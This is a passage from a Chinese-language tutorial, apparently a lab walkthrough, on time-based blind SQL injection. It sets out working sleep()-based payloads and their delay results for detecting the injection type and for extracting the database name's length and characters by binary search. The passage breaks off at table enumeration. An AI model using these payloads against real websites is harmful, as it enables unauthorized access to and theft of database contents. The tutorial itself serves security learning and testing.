思路:
*判断是否存在注入,注入是字符型还是数字型
*猜解当前数据库名
*猜解数据库表名
*猜解字段名
*猜解数据
1判断注入类型
payload | result |
---|---|
1’ and sleep(5) # | 延迟 |
1 and sleep(5)# | 没有延迟 |
存在字符型注入
2猜解当前数据库名
2.1猜解数据库名的长度:
payload | result |
---|---|
1’ and if(length(database())=1,sleep(5),1) # | 没有延迟 |
1’ and if(length(database())=2,sleep(5),1) # | 没有延迟 |
1’ and if(length(database())=3,sleep(5),1) # | 没有延迟 |
1’ and if(length(database())=4,sleep(5),1) # | 延迟 |
说明数据库名长度为4个字符。
2.2采用二分法猜解数据库名:
payload | result |
---|---|
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1) # | 延迟 |
… | |
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# | 没有延迟 |
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1) # | 没有延迟 |
说明数据库的第一个字符为小写字母d(ASCII码:100)
重复上述步骤,就能猜解出数据库名。
3猜解数据库的表名
3.1先猜解数据库中表的数量: